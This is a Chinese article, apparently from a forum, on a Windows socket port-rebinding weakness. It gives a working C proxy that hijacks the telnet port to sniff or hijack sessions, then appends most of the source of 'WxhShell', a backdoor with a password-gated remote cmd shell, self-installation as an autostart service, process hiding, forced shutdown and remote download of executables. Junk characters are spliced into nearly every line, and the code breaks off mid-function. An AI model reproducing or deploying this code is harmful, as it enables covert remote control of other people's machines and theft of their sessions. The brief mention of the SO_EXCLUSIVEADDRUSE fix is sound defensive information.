在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
& *B@qQ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
KCe =$ M9_
y>N[0 saddr.sin_family = AF_INET;
a,#f%#J\ I$n 0aR6 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
zob^z@2 ^a[7qX_B bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
aM9^V MOb \%KJ+PJ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
KR^lmN r'7;: 这意味着什么?意味着可以进行如下的攻击:
q^JJ5{36e {e/12q 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
n (C*LK Zi|MWaA.f 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
Zuo7MR {<\nl#}5S 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
V);{o>%.K Z WL/ AC 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
-=&r}/& js^@tgf$x& 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
G':mc{{ f#ID:Ap3 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
IU{~{(p" T@U_;v|rf 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
x4CrWm J*-m!0 5 #include
38L8AJqD #include
o*_[3{FU #include
^W eE%" #include
al F*L DWORD WINAPI ClientThread(LPVOID lpParam);
X)e6Y{vO int main()
"w*VyD {
s_hf,QH WORD wVersionRequested;
0F8y8s DWORD ret;
}W#Gf.$6C WSADATA wsaData;
05gU~6AF BOOL val;
D(Pd?iQIO SOCKADDR_IN saddr;
yc8iT` SOCKADDR_IN scaddr;
(*;b\h int err;
c_~)#F%P SOCKET s;
[uT&sZxmg SOCKET sc;
Sqed* int caddsize;
Lp5LRw HANDLE mt;
>to NGGU=~ DWORD tid;
lE78Yl] wVersionRequested = MAKEWORD( 2, 2 );
UA!-YTh err = WSAStartup( wVersionRequested, &wsaData );
AY5%<CWj8 if ( err != 0 ) {
vDV`!JU
printf("error!WSAStartup failed!\n");
}N]|zCEj return -1;
G!RbM.6 }
:@y!5[88! saddr.sin_family = AF_INET;
Fx0E4\- M n`gd# //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
MRxzOs Dkayk saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
EA7 8& saddr.sin_port = htons(23);
7"yA~e,l if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
+7U$qEG {
Yz us= printf("error!socket failed!\n");
?[hIv6c return -1;
"^fcXV9Wp }
H{VVxj val = TRUE;
\EuMzb"G9p //SO_REUSEADDR选项就是可以实现端口重绑定的
%E}f7GT4 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
6%sX<)n%] {
-%E+Yl{v printf("error!setsockopt failed!\n");
7<*sP%6bD return -1;
0UB)FK,9 }
%"r3{Hs //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
z4!TK ps //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
?x7zYE,6 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
@]uvpI!h gXZC%S if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
o9(:m {
'`p#%I@ ret=GetLastError();
_Jx.?8 printf("error!bind failed!\n");
T?4MFx# return -1;
}xcA`w3u2? }
yw `w6Z3K listen(s,2);
?){V7<'?y while(1)
.t*MGUg {
ekND>Qjj caddsize = sizeof(scaddr);
8iaP(*J //接受连接请求
X,y0J sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
m X{_B!j^ if(sc!=INVALID_SOCKET)
X31[ {
|=fa`8mG mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
8fRk8 if(mt==NULL)
rJH u~/_Dq {
u&z5)iU printf("Thread Creat Failed!\n");
3B8\r}L break;
]&w8"q }
Vr@I9W;D# }
\B/+.\ CloseHandle(mt);
VRQ'sn@ }
[0<N[KZ) closesocket(s);
\CNv,HUm3 WSACleanup();
%$}aWzQxll return 0;
A:Pp;9wl }
;*>Y8^K&Q DWORD WINAPI ClientThread(LPVOID lpParam)
EVZuwbO)| {
}iZO0C SOCKET ss = (SOCKET)lpParam;
2L Kpwz? SOCKET sc;
<Dojl
# unsigned char buf[4096];
5V5Nx(31i SOCKADDR_IN saddr;
!E">r long num;
Y`
t-Bg!~ DWORD val;
6yH(u}!. DWORD ret;
04g=bJ //如果是隐藏端口应用的话,可以在此处加一些判断
+AkAMZ"Mg //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
q;a"M7 saddr.sin_family = AF_INET;
YaU)66=u saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
t1"-3afe saddr.sin_port = htons(23);
cc`+rD5I- if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
V_+XZ+7Lx} {
{ZQ|Ydpk printf("error!socket failed!\n");
i
E p{ return -1;
uvC ![j^~ }
9jW/" val = 100;
:'p+Ql~c if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
K,_d/(T4 {
6/e+=W2 ret = GetLastError();
zr#n^?m return -1;
6?8x[l*5M }
{[&$W8Li if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
s[6y|{&ze {
K;j}qJvsb ret = GetLastError();
ukNB#2" return -1;
.rpKSf. }
|uL"/cMW7 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
:+Ti^FF`w {
L-SWs8 printf("error!socket connect failed!\n");
{}x{OP closesocket(sc);
6j
uNn} closesocket(ss);
bDK%vx!_ return -1;
4'EC(NR7N }
kq+`. while(1)
2smQD8t {
Y6<"_ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
93I.Wp_{ //如果是嗅探内容的话,可以再此处进行内容分析和记录
>Z%qkU/ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
EhJpJb[Z num = recv(ss,buf,4096,0);
vhsHyb if(num>0)
]1YyP send(sc,buf,num,0);
fbv%&z else if(num==0)
Ujb7uho break;
luLt~A3H$ num = recv(sc,buf,4096,0);
IbV 7} if(num>0)
=?9z6= send(ss,buf,num,0);
e:2e5gz else if(num==0)
+7%}SV 2) break;
y?Vsp< }
1=NP=ZB closesocket(ss);
;(0<5LQ closesocket(sc);
+E5EOo{ `| return 0 ;
W[ZW=c }
2g'o5B\* Mzfuthq=@ )Pj8{.t4 ==========================================================
Owt|vceT zNg8Oq& 下边附上一个代码,,WXhSHELL
v>ygr8+C, [&_c.ti ==========================================================
#ArMX3^+w7 (c3%rM m] #include "stdafx.h"
>U4hsr05 &v}c3wL] #include <stdio.h>
q2>dPI;3T #include <string.h>
Dq$co1eT #include <windows.h>
R>|)-"b( ` #include <winsock2.h>
y*6-?@ #include <winsvc.h>
s}m.r5 #include <urlmon.h>
1UyQ``v/ Y\cQ"9 #pragma comment (lib, "Ws2_32.lib")
<OR f{ #pragma comment (lib, "urlmon.lib")
L"Vi:zdp f3bZ*G%f #define MAX_USER 100 // 最大客户端连接数
B`I9 #define BUF_SOCK 200 // sock buffer
>S]_{pb #define KEY_BUFF 255 // 输入 buffer
XMJ EIG |~V`Es +j #define REBOOT 0 // 重启
'5V#sq;Z #define SHUTDOWN 1 // 关机
Z#Q)a;RA <Oyxzs
#define DEF_PORT 5000 // 监听端口
:f9O3QA c+_F}2)
#define REG_LEN 16 // 注册表键长度
'5:P,1tWU #define SVC_LEN 80 // NT服务名长度
6e%|.}U ]E8S`[Vn // 从dll定义API
yEvuTgDv typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
!X 8<;e}2 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
>%PPp.R typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
b0vbE8wa typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
OvFWX%uY hp:8e@ // wxhshell配置信息
h~F`[G/' struct WSCFG {
"@h 5
SF int ws_port; // 监听端口
aucQZD-_" char ws_passstr[REG_LEN]; // 口令
VOmWRy"L int ws_autoins; // 安装标记, 1=yes 0=no
[p
6#fG * char ws_regname[REG_LEN]; // 注册表键名
zSU06Y char ws_svcname[REG_LEN]; // 服务名
}zK/43Vx char ws_svcdisp[SVC_LEN]; // 服务显示名
P#8]m( char ws_svcdesc[SVC_LEN]; // 服务描述信息
IQ9jTkW l char ws_passmsg[SVC_LEN]; // 密码输入提示信息
ku`bwS int ws_downexe; // 下载执行标记, 1=yes 0=no
}'o[6#_*X char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
hhZUE] char ws_filenam[SVC_LEN]; // 下载后保存的文件名
XyM?Dc5, +ISXyGu };
C/sDyv$ ^KK9T5H // default Wxhshell configuration
8N58w)%7` struct WSCFG wscfg={DEF_PORT,
xUG:x4Gz+ "xuhuanlingzhe",
4h[S`;D0Vf 1,
RR8Z 9D; "Wxhshell",
Nvef+L,v "Wxhshell",
wd=xs7Dz<p "WxhShell Service",
Q<e`0cu|p "Wrsky Windows CmdShell Service",
/nX+*L}d/ "Please Input Your Password: ",
IdvBQ [Gj 1,
x>$!R\Cj "
http://www.wrsky.com/wxhshell.exe",
8G SO] R "Wxhshell.exe"
HJ\CGYmyz };
2k^dxk~$V; qtv>`:neB // 消息定义模块
FyZ iiH4| char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
/G>reG,G char *msg_ws_prompt="\n\r? for help\n\r#>";
j5cc"s char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
_`Abz2s char *msg_ws_ext="\n\rExit.";
-6()$cl}0 char *msg_ws_end="\n\rQuit.";
E?&
x5? char *msg_ws_boot="\n\rReboot...";
,Cj8{s&; char *msg_ws_poff="\n\rShutdown...";
l5jW`cl1 char *msg_ws_down="\n\rSave to ";
fC$~3v 4cO||OsMU char *msg_ws_err="\n\rErr!";
!`VO#_TJ char *msg_ws_ok="\n\rOK!";
&M,"%w! BBg&ZIYEh char ExeFile[MAX_PATH];
C~5-E{i int nUser = 0;
E9Q?@' h HANDLE handles[MAX_USER];
;-G!jWt6Zi int OsIsNt;
qwb`8o -CTsB)=\, SERVICE_STATUS serviceStatus;
]/d4o SERVICE_STATUS_HANDLE hServiceStatusHandle;
<?TJ- >%"Q]p // 函数声明
vd5"phn
3 int Install(void);
_n3Jf<Y int Uninstall(void);
Oc]&1>M int DownloadFile(char *sURL, SOCKET wsh);
l7]$Wc[ int Boot(int flag);
wmNc)P4 void HideProc(void);
?gSk%]S/! int GetOsVer(void);
biFN]D int Wxhshell(SOCKET wsl);
x+O}R D*G void TalkWithClient(void *cs);
@'EP$!c int CmdShell(SOCKET sock);
=](c7HEQf int StartFromService(void);
kUJ\AK int StartWxhshell(LPSTR lpCmdLine);
q5$z:'zE mX8A XWIa VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
,u}n!quA VOID WINAPI NTServiceHandler( DWORD fdwControl );
EO|r ))n7.pB9/ // 数据结构和表定义
Q7y6</4f SERVICE_TABLE_ENTRY DispatchTable[] =
-S=Zsr\ {
HA{-XPAWZ {wscfg.ws_svcname, NTServiceMain},
6,Q{/ {NULL, NULL}
%Km_Sy[7'] };
Qa,^;hZWS !U"1ZsO)l // 自我安装
t9&z|?Vz int Install(void)
E(T6s^8 {
xNNoB/DR char svExeFile[MAX_PATH];
'_n{+eR74 HKEY key;
}*n(RnCn strcpy(svExeFile,ExeFile);
VA _O0y2 5L<}u`0J // 如果是win9x系统,修改注册表设为自启动
b'$j* N if(!OsIsNt) {
@1#$ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
vf@d(g RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
&)vX7*j RegCloseKey(key);
(8s]2\/Ar if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
F<?e79},` RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
I `44}oJ RegCloseKey(key);
qYFol#=% return 0;
?ng?>! }
7"f$;CN?~ }
y+RT[*bX5o }
%r5&CUE5? else {
FhB^E$r% Vgs( feGs // 如果是NT以上系统,安装为系统服务
s,^?|Eo;0 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
!oU$(,#9 if (schSCManager!=0)
!MB % {
&7 }!U SC_HANDLE schService = CreateService
SVp]}!jI (
0k5Zl? schSCManager,
tg~&kaz wscfg.ws_svcname,
NDB ]8C wscfg.ws_svcdisp,
yZ,k8TJ", SERVICE_ALL_ACCESS,
Y#PbC SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
wLD/#Hfi7 SERVICE_AUTO_START,
~(B\X?v SERVICE_ERROR_NORMAL,
)_T[thf] svExeFile,
Sv-}w$ NULL,
2
G_*Pqc NULL,
}H{{ @RU NULL,
?B %y)K NULL,
3V`K^X3 NULL
vi0% jsI );
asR6,k if (schService!=0)
K0]'v>AWr {
OgrUP CloseServiceHandle(schService);
vjJ!d#8 CloseServiceHandle(schSCManager);
Cc]s94 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
#;H,`r strcat(svExeFile,wscfg.ws_svcname);
`QR2!W70o3 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
N_L&!%s RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
n?pCMS| RegCloseKey(key);
wCBL1[~C return 0;
ja~b5Tf9 }
Ta!.oC[
}
d\, 4Wet;# CloseServiceHandle(schSCManager);
-3VxjycY }
V#!ypX]AB[ }
,I=ClmR $X9Ban] return 1;
(k
M\R| }
scqG$~O) 1q~U3'l:$ // 自我卸载
!j4C:L3F int Uninstall(void)
"JVzv U] {
D +)6#i
Y HKEY key;
S:vv*5 6kT
l(+ if(!OsIsNt) {
f\~e&`PV if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
v5wI?HE RegDeleteValue(key,wscfg.ws_regname);
l4F4o6:]n RegCloseKey(key);
=Gd[Qn83.% if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
]Nt97eD) RegDeleteValue(key,wscfg.ws_regname);
\\hZlCV, RegCloseKey(key);
-5vc0"?E return 0;
z}C#+VhQ` }
N,'JQch},8 }
(L|SE4 }
"MC&!AMv else {
h%+8}uywZ Z6>:k,-Ot SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
)\^o<x2S if (schSCManager!=0)
:v{$]wg {
1a4QWGpq SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
+@%9pbM"z if (schService!=0)
0 nWV1)Q0= {
rxa"ji!) if(DeleteService(schService)!=0) {
h#]}J}si CloseServiceHandle(schService);
<mY`<(bc CloseServiceHandle(schSCManager);
<?qmB}Y return 0;
J-?\,N1R7 }
N>ct`a)BD/ CloseServiceHandle(schService);
z8Dn<h }
!kASEjFz|f CloseServiceHandle(schSCManager);
.&@|)u }
mSwOP }
y13=y}dyDH O|y-nAZgU return 1;
tO[+O=d }
GetUCb%1 Rdt8jY6F/ // 从指定url下载文件
;%dkwKO int DownloadFile(char *sURL, SOCKET wsh)
U%k e5uwP {
`Q(ac|
0 HRESULT hr;
Q^MB%L;D char seps[]= "/";
c_ygwO3.Q char *token;
yH#;k:O= char *file;
[p o+a@ % char myURL[MAX_PATH];
kOdS^- char myFILE[MAX_PATH];
@z/]!n\~ i6`8yw strcpy(myURL,sURL);
\|62E):i1 token=strtok(myURL,seps);
87<y_P@{ while(token!=NULL)
mnmwO(. {
oN `tZ;a file=token;
#mkr]K8A4 token=strtok(NULL,seps);
m qw!C }
lmmyDg1R g+k6pi* GetCurrentDirectory(MAX_PATH,myFILE);
ejr"(m(Xe strcat(myFILE, "\\");
cWRB=`=qz strcat(myFILE, file);
!+hX$_RT send(wsh,myFILE,strlen(myFILE),0);
VpVw:Rh> send(wsh,"...",3,0);
huKz["]z[ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
p*npY"}v if(hr==S_OK)
B. P64"w return 0;
"BFW&<1 else
'|XP}V0I return 1;
e/Q[%y.X $}KYpSV }
@{CpC :>3&"T. // 系统电源模块
c(Ha"tBJ int Boot(int flag)
+:'Po.{" {
nr-mf]W&
HANDLE hToken;
)<^ ~${$U TOKEN_PRIVILEGES tkp;
ok6e=c ' wd#AA#J;* if(OsIsNt) {
/XMmE OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
GrQl3 Xi LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
8V|-BP5^ tkp.PrivilegeCount = 1;
zfo.S[R@ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
_-!6@^+ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
>8JvnBFx= if(flag==REBOOT) {
Bp/8 >EO` if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
GzB%vsv95 return 0;
"V^jAPDXb }
%[Ds-my2 else {
I^ >zr.zA if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
-+PPz?0 return 0;
H~G=0_S }
CqX%V":2 }
aZ0H) else {
\!^o<$s.G if(flag==REBOOT) {
Aj`4uFhiL if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
C|lMXp\* return 0;
unX^ MPpw }
ncA2en? else {
hT]p8m
aRZ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
g8x8u| return 0;
hy]AH)?pR }
_x'StD }
8/F2V?iT R|M:6]}
return 1;
s24H.>Z }
C {,d4KG (i?^g & // win9x进程隐藏模块
6h,'#|:d void HideProc(void)
f7W=x6Z4 {
C`#N
Q*O .^NV e40O HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
(\I =v". if ( hKernel != NULL )
}I10hy~W {
B~ez>/H^ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
LtU+w*Gj ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
>lj3MNSH FreeLibrary(hKernel);
$_ i41f[ }
.o8Gi*PEY -)Vj08aP return;
[<`+9R }
Aa Ma9hvT! &p%c tg // 获取操作系统版本
K@,VR3y / int GetOsVer(void)
WE"'3u^k {
ie,{C OSVERSIONINFO winfo;
#Nd+X@j winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
2X]\:<[4 GetVersionEx(&winfo);
B>mQ\Q if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
!INr return 1;
pqr"x2=. else
a&[n Vu+ return 0;
I|5OCTu }
onlyvH4 /PCQv_Y&,/ // 客户端句柄模块
yh)q96m-V= int Wxhshell(SOCKET wsl)
BdKwWgi+a {
**"P A8 SOCKET wsh;
@hvq,[ struct sockaddr_in client;
w&gHmi DWORD myID;
hJ@nW5CI ^v'Lu!\f while(nUser<MAX_USER)
k8JPu"R {
9x1Dyz 2?F int nSize=sizeof(client);
Z4!3I@yZ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
@e7+d@O< if(wsh==INVALID_SOCKET) return 1;
IviWS84 Pm_= handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
21[F%,{.), if(handles[nUser]==0)
IW#(ICeb closesocket(wsh);
#n"/9%35f` else
?xet:#R' nUser++;
88K*d8m }
S!]}}fKEFm WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
3:(`#YY z)B=<4r return 0;
}VGiT~2$ }
Uww^Sq
_6' g]4 // 关闭 socket
b+hY^$// void CloseIt(SOCKET wsh)
.<B1i {
hTm}j,H closesocket(wsh);
-UVWs2W'$ nUser--;
rUO{-R ExitThread(0);
8f.La }
?1uAY.~ZZB O2e"TH3 // 客户端请求句柄
V("1\ void TalkWithClient(void *cs)
_biJch {
D/WS 1#(1Bs6X SOCKET wsh=(SOCKET)cs;
9 ?8`"v char pwd[SVC_LEN];
3^Zi/r char cmd[KEY_BUFF];
-,dQ&Qf? char chr[1];
D|o@(V int i,j;
%8Z,t+' qHCs{ u while (nUser < MAX_USER) {
_+En%p.m )R4<*
/C:w if(wscfg.ws_passstr) {
:m\KQ1sq if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
u_BSWhiW //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
[XXN0+ / //ZeroMemory(pwd,KEY_BUFF);
W<Lrfo&=Y] i=0;
g$b*# while(i<SVC_LEN) {
[P/gM3*' 4_<Uk // 设置超时
ho1F8TG= fd_set FdRead;
3_$eQ`AAA struct timeval TimeOut;
Ie"R,,c FD_ZERO(&FdRead);
(4LLTf0 FD_SET(wsh,&FdRead);
8; 8}Oq TimeOut.tv_sec=8;
d3GK.8y_z TimeOut.tv_usec=0;
meR2"JN' int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
MlFvDy if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
D;]% j,XKu5w)Oi if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
L|LTsRIq pwd
=chr[0]; arZIe+KW
if(chr[0]==0xd || chr[0]==0xa) { <Xx\F56zp
pwd=0; I8?[@kg5b'
break; @nu/0+8h{
} TXcKuo=
i++; YkX=n{^
} zwtsw [.
]B4mm__
// 如果是非法用户,关闭 socket UD{/L"GG
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); iC-ABOOu{l
} 4:$>,D\
B! V{.p
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Q\L5ZJ%y/
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); fXe-U='
ak`)>
while(1) { "N]o5d
wVDB?gy%#
ZeroMemory(cmd,KEY_BUFF); : qRT9n$
keskD
// 自动支持客户端 telnet标准 NrcCUZ .:N
j=0; LltguNM$
while(j<KEY_BUFF) { pm\X*t}L
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \BXVWE|
cmd[j]=chr[0]; or}*tSKX
if(chr[0]==0xa || chr[0]==0xd) { de9l;zF
cmd[j]=0; |`wsKr'
break; =joXP$n^
} j_@3a)[NY
j++; v\,%)Z/
} K/`RZ!
z :v, Vu
// 下载文件 p^P y,
if(strstr(cmd,"http://")) { "Q{~Bj~
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 4/?}xD|?
if(DownloadFile(cmd,wsh)) _~Vz+nT
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~uadivli
else S7{.liHf
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); % VpBB
} nM-SDVFM
else { DWQQ615i
D^55:\4(
switch(cmd[0]) { W"(`n4hi3
pm~;:#z7
// 帮助 N+qLxk
case '?': { "H<#91^|
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); NxO^VUD
break; Z&jb,eh2
} '-33iG
// 安装 ?i2Wst
case 'i': { wg<|@z5
if(Install()) m,C,<I|'d
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3]n@c?lw
else _`i%9Ad.4
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); FK# E7
K
break; H~ n~5 sF"
} D1 ~x
// 卸载 aGb.
Lh9
case 'r': { < iI6@X>
if(Uninstall()) ++DQS9b{
send(wsh,msg_ws_err,strlen(msg_ws_err),0); f~nt!$
else VHr7GAmU
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cuaNAJ
break; ,Bw)n,
} 917 0bmr
// 显示 wxhshell 所在路径 S?\hbM]V-o
case 'p': { Y{vwOs
char svExeFile[MAX_PATH]; QM_X2Ho
strcpy(svExeFile,"\n\r"); <3=qLm
strcat(svExeFile,ExeFile); cO+Xzd;838
send(wsh,svExeFile,strlen(svExeFile),0); DnsP7k.8T
break; -{U>}
Y)
} <W59mweW#5
// 重启 ~+ s*\~
case 'b': { l@rwf$-
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Q &7)vs
if(Boot(REBOOT)) \UqS -j|
send(wsh,msg_ws_err,strlen(msg_ws_err),0); fTV|?:C{
else { 4UD=Y?zK
closesocket(wsh); }BdVD t
ExitThread(0); dIpW!Pj^
} %m{.l4/!O
break; 1"&;1Ts
} 6$s0-{^
// 关机 H9VXsFTW
case 'd': { |\|)j>[i
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); b>=Wq
if(Boot(SHUTDOWN)) >q@Sd
send(wsh,msg_ws_err,strlen(msg_ws_err),0); {{*]bGko
else { AXP`,H
closesocket(wsh); 7X{bB
ExitThread(0); bLEATT[
} _gm?FxV:
break; BBR"HMa4
} &49$hF
g6"
// 获取shell Mp"'?zf
case 's': { ct}%Mdg
CmdShell(wsh); pq[X)]z|
closesocket(wsh); W.`Xm(y
ExitThread(0); Zfy~mv$
break; zf3:<CRX5
} yvd
`nV
// 退出 T3 9C lH
case 'x': { X') Zm+
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 3<Z'F}lg
CloseIt(wsh); %7 v@n+Q
break; o9Txo
(tYU
} qwF*(pTHq
// 离开 S2&9#6
case 'q': { %8bzs?QI
send(wsh,msg_ws_end,strlen(msg_ws_end),0); +an^e'
closesocket(wsh); ^{*f3m/
WSACleanup(); {[,Wn:
exit(1); zn
V1kqGU
break; )nNCB=YF!
} 6b]1d04hT
} ZEj!jWP2m
} /MKNv'5&!%
9rTz N
// 提示信息 _2m[(P9d
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #~4{`]W6
} vXWsF\g
} Ln=>@
x*h `VS(?6
return; j!x<QNNX
} J-tq8
J0Hm)*
// shell模块句柄 J1tzHa6
int CmdShell(SOCKET sock) )
\-96 xd
{ B6ed,($&
STARTUPINFO si; g=xv+e
ZeroMemory(&si,sizeof(si)); ESD<8OR
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 9p2>`L
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; lI4J=8O0
PROCESS_INFORMATION ProcessInfo; Q+b.-iWR
char cmdline[]="cmd"; "7kge z#Y
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); mQJ4;BJw
return 0; `RL,ZoYuu
} 8
"_Bq
@ /UOSU
// 自身启动模式 h4aygc
int StartFromService(void) `6Ureui2?
{ .-SF$U_P*a
typedef struct N7*CP|?E
{ ]*2EK9<
DWORD ExitStatus; L\b]k,Ksf
DWORD PebBaseAddress; 3@^>#U
DWORD AffinityMask; hNgpp-
